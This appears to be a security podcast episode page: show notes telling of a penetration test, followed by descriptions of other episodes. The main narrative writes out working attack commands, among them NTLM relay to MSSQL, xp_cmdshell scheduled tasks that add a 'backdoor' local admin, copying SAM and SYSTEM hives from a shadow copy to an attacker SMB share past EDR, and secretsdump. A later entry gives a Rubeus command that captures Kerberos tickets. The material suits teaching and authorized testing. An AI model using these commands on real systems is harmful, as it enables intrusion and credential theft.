7MS #692: Tales of Pentest Pwnage – Part 76

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else:

I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/.

I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance".

Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy.

In the end, the bizarre combo of things that did the trick was:

  • Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!'
  • From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\
  • From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL!
  • Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed!
  • I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!!
  • Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

Avsnitt(705)

7MS #657: Writing Rad Security Documentation with Retype

7MS #657: Writing Rad Security Documentation with Retype

Hello friends! Today we're talking about a neat and quick-to-setup documentation service called Retype. In a nutshell, you can get Retype installed on GitHub pages in about 5 minutes and be writing beautiful markdown pages (with built-in search) immediately. I still absolutely love Docusaurus, but I think Retype definitely gives it a run for its money.

10 Jan 20min

7MS #656: How to Succeed in Business Without Really Crying - Part 21

7MS #656: How to Succeed in Business Without Really Crying - Part 21

Happy new year friends! Today we talk about business/personal resolutions, including: New year's resolution on the 7MinSec biz side to have a better work/life balance New training offering in the works Considering Substack as a communications platform A mental health booster that I came across mostly by accident

3 Jan 45min

7MS #655: Happy Hacking Holidays

7MS #655: Happy Hacking Holidays

Today we're doing a milkshake of several topics: wireless pentest pwnage, automating the boring pentest stuff with cursor.ai, and some closing business thoughts at 7MinSec celebrates its 7th year as a security consultancy. Links discussed today: AWUS036ACH wifi card (not my favorite anymore) Panda PAU09 N600 (love this one!) The very important Github issue that helped me better understand BPFs and WPA3 attacks TrustedSec article on WPA3 downgrade attacks

30 Dec 202458min

7MS #654: Tales of Pentest Pwnage – Part 67

7MS #654: Tales of Pentest Pwnage – Part 67

Today we've got some super cool stuff to cover today! First up, BPATTY v1.4 is out and has a slug of cool things: A whole new section on old-school wifi tools like airmon-ng, aireplay-ng and airodump-ng Syntax on using two different tools to parse creds from Dehashed An updated tutorial on using Gophish for phishing campaigns The cocoa-flavored cherry on top is a tale of pentest pwnage that includes: Abusing SCCM Finding gold in SQL configuration/security audits

13 Dec 202441min

7MS #653: How to Succeed in Business Without Really Crying – Part 20

7MS #653: How to Succeed in Business Without Really Crying – Part 20

Hey friends, today we're talking about tips to effectively present your technical assessment to a variety of audiences – from lovely IT and security nerds to C-levels, the board and beyond!

6 Dec 202449min

7MS #652: Securing Your Mental Health - Part 6

7MS #652: Securing Your Mental Health - Part 6

Today's episode talks about some things that helped me get through a stressful and hospital-visit-filled Thanksgiving week, including: Journaling Meditation (An activity I'm ashamed of but has actually done wonders for my mental health)

2 Dec 202441min

7MS #651: Tales of Pentest Pwnage – Part 66

7MS #651: Tales of Pentest Pwnage – Part 66

Hey friends, we've got a short but sweet tale of pentest pwnage for you today. Key lessons learned: Definitely consider BallisKit for your EDR-evasion needs If you get local admin to a box, enumerate, enumerate, enumerate! There might be a delicious task or service set to run as a domain admin that can quickly escalate your privileges!

22 Nov 202431min

7MS #650: Tales of Pentest Pwnage - Part 65

7MS #650: Tales of Pentest Pwnage - Part 65

Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of PowerUpSQL that helped me find a "hidden" SQL account, and that account ended up being the key to the entire pentest! I wonder how many hidden SQL accounts I've missed on past pentests….SIGH! Check out the awesome BloodHound gang thread about this here. Also, can't get Rubeus monitor mode to capture TGTs to the registry? Try output to file instead: rubeus monitor /interval:5 /nowrap /runfor:60 /consoleoutfile:c:\users\public\some-innocent-looking-file.log In the tangent department, I talk about a personal music project I'm resurrecting to help my community.

15 Nov 202453min

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